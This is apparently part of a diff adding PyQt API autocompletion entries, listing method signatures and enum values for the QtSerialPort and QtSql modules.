+QtSerialPort.QSerialPort.bytesAvailable?4() -> int +QtSerialPort.QSerialPort.bytesToWrite?4() -> int +QtSerialPort.QSerialPort.canReadLine?4() -> bool +QtSerialPort.QSerialPort.waitForReadyRead?4(int msecs=30000) -> bool +QtSerialPort.QSerialPort.waitForBytesWritten?4(int msecs=30000) -> bool +QtSerialPort.QSerialPort.sendBreak?4(int duration=0) -> bool +QtSerialPort.QSerialPort.setBreakEnabled?4(bool enabled=True) -> bool +QtSerialPort.QSerialPort.baudRateChanged?4(int, QSerialPort.Directions) +QtSerialPort.QSerialPort.dataBitsChanged?4(QSerialPort.DataBits) +QtSerialPort.QSerialPort.parityChanged?4(QSerialPort.Parity) +QtSerialPort.QSerialPort.stopBitsChanged?4(QSerialPort.StopBits) +QtSerialPort.QSerialPort.flowControlChanged?4(QSerialPort.FlowControl) +QtSerialPort.QSerialPort.dataErrorPolicyChanged?4(QSerialPort.DataErrorPolicy) +QtSerialPort.QSerialPort.dataTerminalReadyChanged?4(bool) +QtSerialPort.QSerialPort.requestToSendChanged?4(bool) +QtSerialPort.QSerialPort.error?4(QSerialPort.SerialPortError) +QtSerialPort.QSerialPort.settingsRestoredOnCloseChanged?4(bool) +QtSerialPort.QSerialPort.readData?4(int) -> object +QtSerialPort.QSerialPort.readLineData?4(int) -> object +QtSerialPort.QSerialPort.writeData?4(bytes) -> int +QtSerialPort.QSerialPort.handle?4() -> sip.voidptr +QtSerialPort.QSerialPort.isBreakEnabled?4() -> bool +QtSerialPort.QSerialPort.breakEnabledChanged?4(bool) +QtSerialPort.QSerialPort.errorOccurred?4(QSerialPort.SerialPortError) +QtSerialPort.QSerialPort.Directions?1() +QtSerialPort.QSerialPort.Directions.__init__?1(self) +QtSerialPort.QSerialPort.Directions?1(int) +QtSerialPort.QSerialPort.Directions.__init__?1(self, int) +QtSerialPort.QSerialPort.Directions?1(QSerialPort.Directions) +QtSerialPort.QSerialPort.Directions.__init__?1(self, QSerialPort.Directions) +QtSerialPort.QSerialPort.PinoutSignals?1() +QtSerialPort.QSerialPort.PinoutSignals.__init__?1(self) +QtSerialPort.QSerialPort.PinoutSignals?1(int) +QtSerialPort.QSerialPort.PinoutSignals.__init__?1(self, int) +QtSerialPort.QSerialPort.PinoutSignals?1(QSerialPort.PinoutSignals) +QtSerialPort.QSerialPort.PinoutSignals.__init__?1(self, QSerialPort.PinoutSignals) +QtSerialPort.QSerialPortInfo?1() +QtSerialPort.QSerialPortInfo.__init__?1(self) +QtSerialPort.QSerialPortInfo?1(QSerialPort) +QtSerialPort.QSerialPortInfo.__init__?1(self, QSerialPort) +QtSerialPort.QSerialPortInfo?1(QString) +QtSerialPort.QSerialPortInfo.__init__?1(self, QString) +QtSerialPort.QSerialPortInfo?1(QSerialPortInfo) +QtSerialPort.QSerialPortInfo.__init__?1(self, QSerialPortInfo) +QtSerialPort.QSerialPortInfo.swap?4(QSerialPortInfo) +QtSerialPort.QSerialPortInfo.portName?4() -> QString +QtSerialPort.QSerialPortInfo.systemLocation?4() -> QString +QtSerialPort.QSerialPortInfo.description?4() -> QString +QtSerialPort.QSerialPortInfo.manufacturer?4() -> QString +QtSerialPort.QSerialPortInfo.vendorIdentifier?4() -> int +QtSerialPort.QSerialPortInfo.productIdentifier?4() -> int +QtSerialPort.QSerialPortInfo.hasVendorIdentifier?4() -> bool +QtSerialPort.QSerialPortInfo.hasProductIdentifier?4() -> bool +QtSerialPort.QSerialPortInfo.isBusy?4() -> bool +QtSerialPort.QSerialPortInfo.isValid?4() -> bool +QtSerialPort.QSerialPortInfo.standardBaudRates?4() -> unknown-type +QtSerialPort.QSerialPortInfo.availablePorts?4() -> unknown-type +QtSerialPort.QSerialPortInfo.isNull?4() -> bool +QtSerialPort.QSerialPortInfo.serialNumber?4() -> QString +QtSql.QSqlDriverCreatorBase?1() +QtSql.QSqlDriverCreatorBase.__init__?1(self) +QtSql.QSqlDriverCreatorBase?1(QSqlDriverCreatorBase) +QtSql.QSqlDriverCreatorBase.__init__?1(self, QSqlDriverCreatorBase) +QtSql.QSqlDriverCreatorBase.createObject?4() -> QSqlDriver +QtSql.QSqlDatabase?1() +QtSql.QSqlDatabase.__init__?1(self) +QtSql.QSqlDatabase?1(QSqlDatabase) +QtSql.QSqlDatabase.__init__?1(self, QSqlDatabase) +QtSql.QSqlDatabase?1(QString) +QtSql.QSqlDatabase.__init__?1(self, QString) +QtSql.QSqlDatabase?1(QSqlDriver) +QtSql.QSqlDatabase.__init__?1(self, QSqlDriver) +QtSql.QSqlDatabase.open?4() -> bool +QtSql.QSqlDatabase.open?4(QString, QString) -> bool +QtSql.QSqlDatabase.close?4() +QtSql.QSqlDatabase.isOpen?4() -> bool +QtSql.QSqlDatabase.isOpenError?4() -> bool +QtSql.QSqlDatabase.tables?4(QSql.TableType type=QSql.Tables) -> QStringList +QtSql.QSqlDatabase.primaryIndex?4(QString) -> QSqlIndex +QtSql.QSqlDatabase.record?4(QString) -> QSqlRecord +QtSql.QSqlDatabase.exec_?4(QString query='') -> QSqlQuery +QtSql.QSqlDatabase.exec?4(QString query='') -> QSqlQuery +QtSql.QSqlDatabase.lastError?4() -> QSqlError +QtSql.QSqlDatabase.isValid?4() -> bool +QtSql.QSqlDatabase.transaction?4() -> bool +QtSql.QSqlDatabase.commit?4() -> bool +QtSql.QSqlDatabase.rollback?4() -> bool +QtSql.QSqlDatabase.setDatabaseName?4(QString) +QtSql.QSqlDatabase.setUserName?4(QString) +QtSql.QSqlDatabase.setPassword?4(QString) +QtSql.QSqlDatabase.setHostName?4(QString) +QtSql.QSqlDatabase.setPort?4(int) +QtSql.QSqlDatabase.setConnectOptions?4(QString options='') +QtSql.QSqlDatabase.databaseName?4() -> QString +QtSql.QSqlDatabase.userName?4() -> QString +QtSql.QSqlDatabase.password?4() -> QString +QtSql.QSqlDatabase.hostName?4() -> QString +QtSql.QSqlDatabase.driverName?4() -> QString +QtSql.QSqlDatabase.port?4() -> int +QtSql.QSqlDatabase.connectOptions?4() -> QString +QtSql.QSqlDatabase.connectionName?4() -> QString +QtSql.QSqlDatabase.driver?4() -> QSqlDriver +QtSql.QSqlDatabase.addDatabase?4(QString, QString connectionName='') -> QSqlDatabase +QtSql.QSqlDatabase.addDatabase?4(QSqlDriver, QString connectionName='') -> QSqlDatabase +QtSql.QSqlDatabase.cloneDatabase?4(QSqlDatabase, QString) -> QSqlDatabase +QtSql.QSqlDatabase.cloneDatabase?4(QString, QString) -> QSqlDatabase +QtSql.QSqlDatabase.database?4(QString connectionName='', bool open=True) -> QSqlDatabase +QtSql.QSqlDatabase.removeDatabase?4(QString) +QtSql.QSqlDatabase.contains?4(QString connectionName='') -> bool +QtSql.QSqlDatabase.drivers?4() -> QStringList +QtSql.QSqlDatabase.connectionNames?4() -> QStringList +QtSql.QSqlDatabase.registerSqlDriver?4(QString, QSqlDriverCreatorBase) +QtSql.QSqlDatabase.isDriverAvailable?4(QString) -> bool +QtSql.QSqlDatabase.setNumericalPrecisionPolicy?4(QSql.NumericalPrecisionPolicy) +QtSql.QSqlDatabase.numericalPrecisionPolicy?4() -> QSql.NumericalPrecisionPolicy +QtSql.QSqlDriver.DbmsType?10 +QtSql.QSqlDriver.DbmsType.UnknownDbms?10 +QtSql.QSqlDriver.DbmsType.MSSqlServer?10 +QtSql.QSqlDriver.DbmsType.MySqlServer?10 +QtSql.QSqlDriver.DbmsType.PostgreSQL?10 +QtSql.QSqlDriver.DbmsType.Oracle?10 +QtSql.QSqlDriver.DbmsType.Sybase?10 +QtSql.QSqlDriver.DbmsType.SQLite?10 +QtSql.QSqlDriver.DbmsType.Interbase?10 +QtSql.QSqlDriver.DbmsType.DB2?10 +QtSql.QSqlDriver.NotificationSource?10 +QtSql.QSqlDriver.NotificationSource.UnknownSource?10 +QtSql.QSqlDriver.NotificationSource.SelfSource?10 +QtSql.QSqlDriver.NotificationSource.OtherSource?10 +QtSql.QSqlDriver.IdentifierType?10 +QtSql.QSqlDriver.IdentifierType.FieldName?10 +QtSql.QSqlDriver.IdentifierType.TableName?10 +QtSql.QSqlDriver.StatementType?10 +QtSql.QSqlDriver.StatementType.WhereStatement?10 +QtSql.QSqlDriver.StatementType.SelectStatement?10 +QtSql.QSqlDriver.StatementType.UpdateStatement?10 +QtSql.QSqlDriver.StatementType.InsertStatement?10 +QtSql.QSqlDriver.StatementType.DeleteStatement?10 +QtSql.QSqlDriver.DriverFeature?10 +QtSql.QSqlDriver.DriverFeature.Transactions?10 +QtSql.QSqlDriver.DriverFeature.QuerySize?10 +QtSql.QSqlDriver.DriverFeature.BLOB?10 +QtSql.QSqlDriver.DriverFeature.Unicode?10 +QtSql.QSqlDriver.DriverFeature.PreparedQueries?10 +QtSql.QSqlDriver.DriverFeature.NamedPlaceholders?10 +QtSql.QSqlDriver.DriverFeature.PositionalPlaceholders?10 +QtSql.QSqlDriver.DriverFeature.LastInsertId?10 +QtSql.QSqlDriver.DriverFeature.BatchOperations?10 +QtSql.QSqlDriver.DriverFeature.SimpleLocking?10 +QtSql.QSqlDriver.DriverFeature.LowPrecisionNumbers?10 +QtSql.QSqlDriver.DriverFeature.EventNotifications?10 +QtSql.QSqlDriver.DriverFeature.FinishQuery?10 +QtSql.QSqlDriver.DriverFeature.MultipleResultSets?10 +QtSql.QSqlDriver?1(QObject parent=None) +QtSql.QSqlDriver.__init__?1(self, QObject parent=None) +QtSql.QSqlDriver.isOpen?4() -> bool +QtSql.QSqlDriver.isOpenError?4() -> bool +QtSql.QSqlDriver.beginTransaction?4() -> bool +QtSql.QSqlDriver.commitTransaction?4() -> bool +QtSql.QSqlDriver.rollbackTransaction?4() -> bool +QtSql.QSqlDriver.tables?4(QSql.TableType) -> QStringList +QtSql.QSqlDriver.primaryIndex?4(QString) -> QSqlIndex +QtSql.QSqlDriver.record?4(QString) -> QSqlRecord +QtSql.QSqlDriver.formatValue?4(QSqlField, bool trimStrings=False) -> QString +QtSql.QSqlDriver.escapeIdentifier?4(QString, QSqlDriver.IdentifierType) -> QString +QtSql.QSqlDriver.sqlStatement?4(QSqlDriver.StatementType, QString, QSqlRecord, bool) -> QString +QtSql.QSqlDriver.lastError?4() -> QSqlError +QtSql.QSqlDriver.handle?4() -> QVariant +QtSql.QSqlDriver.hasFeature?4(QSqlDriver.DriverFeature) -> bool +QtSql.QSqlDriver.close?4() +QtSql.QSqlDriver.createResult?4() -> QSqlResult +QtSql.QSqlDriver.open?4(QString, QString user='', QString password='', QString host='', int port=-1, QString options='') -> bool +QtSql.QSqlDriver.setOpen?4(bool) +QtSql.QSqlDriver.setOpenError?4(bool) +QtSql.QSqlDriver.setLastError?4(QSqlError) +QtSql.QSqlDriver.subscribeToNotification?4(QString) -> bool +QtSql.QSqlDriver.unsubscribeFromNotification?4(QString) -> bool +QtSql.QSqlDriver.subscribedToNotifications?4() -> QStringList +QtSql.QSqlDriver.notification?4(QString) +QtSql.QSqlDriver.notification?4(QString, QSqlDriver.NotificationSource, QVariant) +QtSql.QSqlDriver.isIdentifierEscaped?4(QString, QSqlDriver.IdentifierType) -> bool +QtSql.QSqlDriver.stripDelimiters?4(QString, QSqlDriver.IdentifierType) -> QString +QtSql.QSqlDriver.setNumericalPrecisionPolicy?4(QSql.NumericalPrecisionPolicy) +QtSql.QSqlDriver.numericalPrecisionPolicy?4() -> QSql.NumericalPrecisionPolicy +QtSql.QSqlDriver.dbmsType?4() -> QSqlDriver.DbmsType +QtSql.QSqlError.ErrorType?10 +QtSql.QSqlError.ErrorType.NoError?10 +QtSql.QSqlError.ErrorType.ConnectionError?10 +QtSql.QSqlError.ErrorType.StatementError?10 +QtSql.QSqlError.ErrorType.TransactionError?10 +QtSql.QSqlError.ErrorType.UnknownError?10 +QtSql.QSqlError?1(QString driverText='', QString databaseText='', QSqlError.ErrorType type=QSqlError.NoError, QString errorCode='') +QtSql.QSqlError.__init__?1(self, QString driverText='', QString databaseText='', QSqlError.ErrorType type=QSqlError.NoError, QString errorCode='') +QtSql.QSqlError?1(QString, QString, QSqlError.ErrorType, int) +QtSql.QSqlError.__init__?1(self, QString, QString, QSqlError.ErrorType, int) +QtSql.QSqlError?1(QSqlError) +QtSql.QSqlError.__init__?1(self, QSqlError) +QtSql.QSqlError.driverText?4() -> QString +QtSql.QSqlError.setDriverText?4(QString) +QtSql.QSqlError.databaseText?4() -> QString +QtSql.QSqlError.setDatabaseText?4(QString) +QtSql.QSqlError.type?4() -> QSqlError.ErrorType +QtSql.QSqlError.setType?4(QSqlError.ErrorType) +QtSql.QSqlError.number?4() -> int +QtSql.QSqlError.setNumber?4(int) +QtSql.QSqlError.text?4() -> QString +QtSql.QSqlError.isValid?4() -> bool +QtSql.QSqlError.nativeErrorCode?4() -> QString +QtSql.QSqlError.swap?4(QSqlError) +QtSql.QSqlField.RequiredStatus?10 +QtSql.QSqlField.RequiredStatus.Unknown?10 +QtSql.QSqlField.RequiredStatus.Optional?10 +QtSql.QSqlField.RequiredStatus.Required?10 +QtSql.QSqlField?1(QString fieldName='', QVariant.Type type=QVariant.Invalid) +QtSql.QSqlField.__init__?1(self, QString fieldName='', QVariant.Type type=QVariant.Invalid) +QtSql.QSqlField?1(QString, QVariant.Type, QString) +QtSql.QSqlField.__init__?1(self, QString, QVariant.Type, QString) +QtSql.QSqlField?1(QSqlField) +QtSql.QSqlField.__init__?1(self, QSqlField) +QtSql.QSqlField.setValue?4(QVariant) +QtSql.QSqlField.value?4() -> QVariant +QtSql.QSqlField.setName?4(QString) +QtSql.QSqlField.name?4() -> QString +QtSql.QSqlField.isNull?4() -> bool +QtSql.QSqlField.setReadOnly?4(bool) +QtSql.QSqlField.isReadOnly?4() -> bool +QtSql.QSqlField.clear?4() +QtSql.QSqlField.type?4() -> QVariant.Type +QtSql.QSqlField.isAutoValue?4() -> bool +QtSql.QSqlField.setType?4(QVariant.Type) +QtSql.QSqlField.setRequiredStatus?4(QSqlField.RequiredStatus) +QtSql.QSqlField.setRequired?4(bool) +QtSql.QSqlField.setLength?4(int) +QtSql.QSqlField.setPrecision?4(int) +QtSql.QSqlField.setDefaultValue?4(QVariant) +QtSql.QSqlField.setSqlType?4(int) +QtSql.QSqlField.setGenerated?4(bool) +QtSql.QSqlField.setAutoValue?4(bool) +QtSql.QSqlField.requiredStatus?4() -> QSqlField.RequiredStatus +QtSql.QSqlField.length?4() -> int +QtSql.QSqlField.precision?4() -> int +QtSql.QSqlField.defaultValue?4() -> QVariant +QtSql.QSqlField.typeID?4() -> int +QtSql.QSqlField.isGenerated?4() -> bool +QtSql.QSqlField.isValid?4() -> bool +QtSql.QSqlField.setTableName?4(QString) +QtSql.QSqlField.tableName?4() -> QString +QtSql.QSqlRecord?1() +QtSql.QSqlRecord.__init__?1(self) +QtSql.QSqlRecord?1(QSqlRecord) +QtSql.QSqlRecord.__init__?1(self, QSqlRecord) +QtSql.QSqlRecord.value?4(int) -> QVariant +QtSql.QSqlRecord.value?4(QString) -> QVariant +QtSql.QSqlRecord.setValue?4(int, QVariant) +QtSql.QSqlRecord.setValue?4(QString, QVariant) +QtSql.QSqlRecord.setNull?4(int) +QtSql.QSqlRecord.setNull?4(QString) +QtSql.QSqlRecord.isNull?4(int) -> bool +QtSql.QSqlRecord.isNull?4(QString) -> bool +QtSql.QSqlRecord.indexOf?4(QString) -> int +QtSql.QSqlRecord.fieldName?4(int) -> QString +QtSql.QSqlRecord.field?4(int) -> QSqlField +QtSql.QSqlRecord.field?4(QString) -> QSqlField +QtSql.QSqlRecord.isGenerated?4(int) -> bool +QtSql.QSqlRecord.isGenerated?4(QString) -> bool +QtSql.QSqlRecord.setGenerated?4(QString, bool) +QtSql.QSqlRecord.setGenerated?4(int, bool) +QtSql.QSqlRecord.append?4(QSqlField) +QtSql.QSqlRecord.replace?4(int, QSqlField) +QtSql.QSqlRecord.insert?4(int, QSqlField) +QtSql.QSqlRecord.remove?4(int) +QtSql.QSqlRecord.isEmpty?4() -> bool +QtSql.QSqlRecord.contains?4(QString) -> bool +QtSql.QSqlRecord.clear?4() +QtSql.QSqlRecord.clearValues?4() +QtSql.QSqlRecord.count?4() -> int +QtSql.QSqlRecord.keyValues?4(QSqlRecord) -> QSqlRecord +QtSql.QSqlIndex?1(QString cursorName='', QString name='') +QtSql.QSqlIndex.__init__?1(self, QString cursorName='', QString name='') +QtSql.QSqlIndex?1(QSqlIndex) +QtSql.QSqlIndex.__init__?1(self, QSqlIndex) +QtSql.QSqlIndex.setCursorName?4(QString) +QtSql.QSqlIndex.cursorName?4() -> QString +QtSql.QSqlIndex.setName?4(QString) +QtSql.QSqlIndex.name?4() -> QString +QtSql.QSqlIndex.append?4(QSqlField) +QtSql.QSqlIndex.append?4(QSqlField, bool) +QtSql.QSqlIndex.isDescending?4(int) -> bool +QtSql.QSqlIndex.setDescending?4(int, bool) +QtSql.QSqlQuery.BatchExecutionMode?10 +QtSql.QSqlQuery.BatchExecutionMode.ValuesAsRows?10 +QtSql.QSqlQuery.BatchExecutionMode.ValuesAsColumns?10 +QtSql.QSqlQuery?1(QSqlResult) +QtSql.QSqlQuery.__init__?1(self, QSqlResult) +QtSql.QSqlQuery?1(QString query='', QSqlDatabase db=QSqlDatabase()) +QtSql.QSqlQuery.__init__?1(self, QString query='', QSqlDatabase db=QSqlDatabase()) +QtSql.QSqlQuery?1(QSqlDatabase) +QtSql.QSqlQuery.__init__?1(self, QSqlDatabase) +QtSql.QSqlQuery?1(QSqlQuery) +QtSql.QSqlQuery.__init__?1(self, QSqlQuery) +QtSql.QSqlQuery.isValid?4() -> bool +QtSql.QSqlQuery.isActive?4() -> bool +QtSql.QSqlQuery.isNull?4(int) -> bool +QtSql.QSqlQuery.isNull?4(QString) -> bool +QtSql.QSqlQuery.at?4() -> int +QtSql.QSqlQuery.lastQuery?4() -> QString +QtSql.QSqlQuery.numRowsAffected?4() -> int +QtSql.QSqlQuery.lastError?4() -> QSqlError +QtSql.QSqlQuery.isSelect?4() -> bool +QtSql.QSqlQuery.size?4() -> int +QtSql.QSqlQuery.driver?4() -> QSqlDriver +QtSql.QSqlQuery.result?4() -> QSqlResult +QtSql.QSqlQuery.isForwardOnly?4() -> bool +QtSql.QSqlQuery.record?4() -> QSqlRecord +QtSql.QSqlQuery.setForwardOnly?4(bool) +QtSql.QSqlQuery.exec_?4(QString) -> bool +QtSql.QSqlQuery.exec?4(QString) -> bool +QtSql.QSqlQuery.value?4(int) -> QVariant +QtSql.QSqlQuery.value?4(QString) -> QVariant +QtSql.QSqlQuery.seek?4(int, bool relative=False) -> bool +QtSql.QSqlQuery.next?4() -> bool +QtSql.QSqlQuery.previous?4() -> bool +QtSql.QSqlQuery.first?4() -> bool +QtSql.QSqlQuery.last?4() -> bool +QtSql.QSqlQuery.clear?4() +QtSql.QSqlQuery.exec_?4() -> bool +QtSql.QSqlQuery.exec?4() -> bool +QtSql.QSqlQuery.execBatch?4(QSqlQuery.BatchExecutionMode mode=QSqlQuery.ValuesAsRows) -> bool +QtSql.QSqlQuery.prepare?4(QString) -> bool +QtSql.QSqlQuery.bindValue?4(QString, QVariant, QSql.ParamType type=QSql.In) +QtSql.QSqlQuery.bindValue?4(int, QVariant, QSql.ParamType type=QSql.In) +QtSql.QSqlQuery.addBindValue?4(QVariant, QSql.ParamType type=QSql.In) +QtSql.QSqlQuery.boundValue?4(QString) -> QVariant +QtSql.QSqlQuery.boundValue?4(int) -> QVariant +QtSql.QSqlQuery.boundValues?4() -> unknown-type +QtSql.QSqlQuery.executedQuery?4() -> QString +QtSql.QSqlQuery.lastInsertId?4() -> QVariant +QtSql.QSqlQuery.setNumericalPrecisionPolicy?4(QSql.NumericalPrecisionPolicy) +QtSql.QSqlQuery.numericalPrecisionPolicy?4() -> QSql.NumericalPrecisionPolicy +QtSql.QSqlQuery.finish?4() +QtSql.QSqlQuery.nextResult?4() -> bool +QtSql.QSqlQueryModel?1(QObject parent=None) +QtSql.QSqlQueryModel.__init__?1(self, QObject parent=None) +QtSql.QSqlQueryModel.rowCount?4(QModelIndex parent=QModelIndex()) -> int +QtSql.QSqlQueryModel.columnCount?4(QModelIndex parent=QModelIndex()) -> int +QtSql.QSqlQueryModel.record?4(int) -> QSqlRecord +QtSql.QSqlQueryModel.record?4() -> QSqlRecord +QtSql.QSqlQueryModel.data?4(QModelIndex, int role=Qt.DisplayRole) -> QVariant +QtSql.QSqlQueryModel.headerData?4(int, Qt.Orientation, int role=Qt.DisplayRole) -> QVariant +QtSql.QSqlQueryModel.setHeaderData?4(int, Qt.Orientation, QVariant, int role=Qt.EditRole) -> bool +QtSql.QSqlQueryModel.insertColumns?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtSql.QSqlQueryModel.removeColumns?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtSql.QSqlQueryModel.setQuery?4(QSqlQuery) +QtSql.QSqlQueryModel.setQuery?4(QString, QSqlDatabase db=QSqlDatabase()) +QtSql.QSqlQueryModel.query?4() -> QSqlQuery +QtSql.QSqlQueryModel.clear?4() +QtSql.QSqlQueryModel.lastError?4() -> QSqlError +QtSql.QSqlQueryModel.fetchMore?4(QModelIndex parent=QModelIndex()) +QtSql.QSqlQueryModel.canFetchMore?4(QModelIndex parent=QModelIndex()) -> bool +QtSql.QSqlQueryModel.queryChange?4() +QtSql.QSqlQueryModel.indexInQuery?4(QModelIndex) -> QModelIndex +QtSql.QSqlQueryModel.setLastError?4(QSqlError) +QtSql.QSqlQueryModel.beginResetModel?4() +QtSql.QSqlQueryModel.endResetModel?4() +QtSql.QSqlQueryModel.beginInsertRows?4(QModelIndex, int, int) +QtSql.QSqlQueryModel.endInsertRows?4() +QtSql.QSqlQueryModel.beginRemoveRows?4(QModelIndex, int, int) +QtSql.QSqlQueryModel.endRemoveRows?4() +QtSql.QSqlQueryModel.beginInsertColumns?4(QModelIndex, int, int) +QtSql.QSqlQueryModel.endInsertColumns?4() +QtSql.QSqlQueryModel.beginRemoveColumns?4(QModelIndex, int, int) +QtSql.QSqlQueryModel.endRemoveColumns?4() +QtSql.QSqlQueryModel.roleNames?4() -> unknown-type +QtSql.QSqlRelationalDelegate?1(QObject parent=None) +QtSql.QSqlRelationalDelegate.__init__?1(self, QObject parent=None) +QtSql.QSqlRelationalDelegate.createEditor?4(QWidget, QStyleOptionViewItem, QModelIndex) -> QWidget +QtSql.QSqlRelationalDelegate.setModelData?4(QWidget, QAbstractItemModel, QModelIndex) +QtSql.QSqlRelationalDelegate.setEditorData?4(QWidget, QModelIndex) +QtSql.QSqlRelation?1() +QtSql.QSqlRelation.__init__?1(self) +QtSql.QSqlRelation?1(QString, QString, QString) +QtSql.QSqlRelation.__init__?1(self, QString, QString, QString) +QtSql.QSqlRelation?1(QSqlRelation) +QtSql.QSqlRelation.__init__?1(self, QSqlRelation) +QtSql.QSqlRelation.tableName?4() -> QString +QtSql.QSqlRelation.indexColumn?4() -> QString +QtSql.QSqlRelation.displayColumn?4() -> QString +QtSql.QSqlRelation.isValid?4() -> bool +QtSql.QSqlRelation.swap?4(QSqlRelation) +QtSql.QSqlTableModel.EditStrategy?10 +QtSql.QSqlTableModel.EditStrategy.OnFieldChange?10 +QtSql.QSqlTableModel.EditStrategy.OnRowChange?10 +QtSql.QSqlTableModel.EditStrategy.OnManualSubmit?10 +QtSql.QSqlTableModel?1(QObject parent=None, QSqlDatabase db=QSqlDatabase()) +QtSql.QSqlTableModel.__init__?1(self, QObject parent=None, QSqlDatabase db=QSqlDatabase()) +QtSql.QSqlTableModel.select?4() -> bool +QtSql.QSqlTableModel.setTable?4(QString) +QtSql.QSqlTableModel.tableName?4() -> QString +QtSql.QSqlTableModel.flags?4(QModelIndex) -> Qt.ItemFlags +QtSql.QSqlTableModel.data?4(QModelIndex, int role=Qt.ItemDataRole.DisplayRole) -> QVariant +QtSql.QSqlTableModel.setData?4(QModelIndex, QVariant, int role=Qt.ItemDataRole.EditRole) -> bool +QtSql.QSqlTableModel.headerData?4(int, Qt.Orientation, int role=Qt.ItemDataRole.DisplayRole) -> QVariant +QtSql.QSqlTableModel.isDirty?4(QModelIndex) -> bool +QtSql.QSqlTableModel.isDirty?4() -> bool +QtSql.QSqlTableModel.clear?4() +QtSql.QSqlTableModel.setEditStrategy?4(QSqlTableModel.EditStrategy) +QtSql.QSqlTableModel.editStrategy?4() -> QSqlTableModel.EditStrategy +QtSql.QSqlTableModel.primaryKey?4() -> QSqlIndex +QtSql.QSqlTableModel.database?4() -> QSqlDatabase +QtSql.QSqlTableModel.fieldIndex?4(QString) -> int +QtSql.QSqlTableModel.sort?4(int, Qt.SortOrder) +QtSql.QSqlTableModel.setSort?4(int, Qt.SortOrder) +QtSql.QSqlTableModel.filter?4() -> QString +QtSql.QSqlTableModel.setFilter?4(QString) +QtSql.QSqlTableModel.rowCount?4(QModelIndex parent=QModelIndex()) -> int +QtSql.QSqlTableModel.removeColumns?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtSql.QSqlTableModel.removeRows?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtSql.QSqlTableModel.insertRows?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtSql.QSqlTableModel.insertRecord?4(int, QSqlRecord) -> bool +QtSql.QSqlTableModel.setRecord?4(int, QSqlRecord) -> bool +QtSql.QSqlTableModel.revertRow?4(int) +QtSql.QSqlTableModel.submit?4() -> bool +QtSql.QSqlTableModel.revert?4() +QtSql.QSqlTableModel.submitAll?4() -> bool +QtSql.QSqlTableModel.revertAll?4() +QtSql.QSqlTableModel.primeInsert?4(int, QSqlRecord) +QtSql.QSqlTableModel.beforeInsert?4(QSqlRecord) +QtSql.QSqlTableModel.beforeUpdate?4(int, QSqlRecord) +QtSql.QSqlTableModel.beforeDelete?4(int) +QtSql.QSqlTableModel.updateRowInTable?4(int, QSqlRecord) -> bool +QtSql.QSqlTableModel.insertRowIntoTable?4(QSqlRecord) -> bool +QtSql.QSqlTableModel.deleteRowFromTable?4(int) -> bool +QtSql.QSqlTableModel.orderByClause?4() -> QString +QtSql.QSqlTableModel.selectStatement?4() -> QString +QtSql.QSqlTableModel.setPrimaryKey?4(QSqlIndex) +QtSql.QSqlTableModel.setQuery?4(QSqlQuery) +QtSql.QSqlTableModel.indexInQuery?4(QModelIndex) -> QModelIndex +QtSql.QSqlTableModel.selectRow?4(int) -> bool +QtSql.QSqlTableModel.record?4() -> QSqlRecord +QtSql.QSqlTableModel.record?4(int) -> QSqlRecord +QtSql.QSqlTableModel.primaryValues?4(int) -> QSqlRecord +QtSql.QSqlRelationalTableModel.JoinMode?10 +QtSql.QSqlRelationalTableModel.JoinMode.InnerJoin?10 +QtSql.QSqlRelationalTableModel.JoinMode.LeftJoin?10 +QtSql.QSqlRelationalTableModel?1(QObject parent=None, QSqlDatabase db=QSqlDatabase()) +QtSql.QSqlRelationalTableModel.__init__?1(self, QObject parent=None, QSqlDatabase db=QSqlDatabase()) +QtSql.QSqlRelationalTableModel.data?4(QModelIndex, int role=Qt.ItemDataRole.DisplayRole) -> QVariant +QtSql.QSqlRelationalTableModel.setData?4(QModelIndex, QVariant, int role=Qt.ItemDataRole.EditRole) -> bool +QtSql.QSqlRelationalTableModel.clear?4() +QtSql.QSqlRelationalTableModel.select?4() -> bool +QtSql.QSqlRelationalTableModel.setTable?4(QString) +QtSql.QSqlRelationalTableModel.setRelation?4(int, QSqlRelation) +QtSql.QSqlRelationalTableModel.relation?4(int) -> QSqlRelation +QtSql.QSqlRelationalTableModel.relationModel?4(int) -> QSqlTableModel +QtSql.QSqlRelationalTableModel.revertRow?4(int) +QtSql.QSqlRelationalTableModel.removeColumns?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtSql.QSqlRelationalTableModel.selectStatement?4() -> QString +QtSql.QSqlRelationalTableModel.updateRowInTable?4(int, QSqlRecord) -> bool +QtSql.QSqlRelationalTableModel.orderByClause?4() -> QString +QtSql.QSqlRelationalTableModel.insertRowIntoTable?4(QSqlRecord) -> bool +QtSql.QSqlRelationalTableModel.setJoinMode?4(QSqlRelationalTableModel.JoinMode) +QtSql.QSqlResult.BindingSyntax?10 +QtSql.QSqlResult.BindingSyntax.PositionalBinding?10 +QtSql.QSqlResult.BindingSyntax.NamedBinding?10 +QtSql.QSqlResult?1(QSqlDriver) +QtSql.QSqlResult.__init__?1(self, QSqlDriver) +QtSql.QSqlResult.handle?4() -> QVariant +QtSql.QSqlResult.at?4() -> int +QtSql.QSqlResult.lastQuery?4() -> QString +QtSql.QSqlResult.lastError?4() -> QSqlError +QtSql.QSqlResult.isValid?4() -> bool +QtSql.QSqlResult.isActive?4() -> bool +QtSql.QSqlResult.isSelect?4() -> bool +QtSql.QSqlResult.isForwardOnly?4() -> bool +QtSql.QSqlResult.driver?4() -> QSqlDriver +QtSql.QSqlResult.setAt?4(int) +QtSql.QSqlResult.setActive?4(bool) +QtSql.QSqlResult.setLastError?4(QSqlError) +QtSql.QSqlResult.setQuery?4(QString) +QtSql.QSqlResult.setSelect?4(bool) +QtSql.QSqlResult.setForwardOnly?4(bool) +QtSql.QSqlResult.exec_?4() -> bool +QtSql.QSqlResult.exec?4() -> bool +QtSql.QSqlResult.prepare?4(QString) -> bool +QtSql.QSqlResult.savePrepare?4(QString) -> bool +QtSql.QSqlResult.bindValue?4(int, QVariant, QSql.ParamType) +QtSql.QSqlResult.bindValue?4(QString, QVariant, QSql.ParamType) +QtSql.QSqlResult.addBindValue?4(QVariant, QSql.ParamType) +QtSql.QSqlResult.boundValue?4(QString) -> QVariant +QtSql.QSqlResult.boundValue?4(int) -> QVariant +QtSql.QSqlResult.bindValueType?4(QString) -> QSql.ParamType +QtSql.QSqlResult.bindValueType?4(int) -> QSql.ParamType 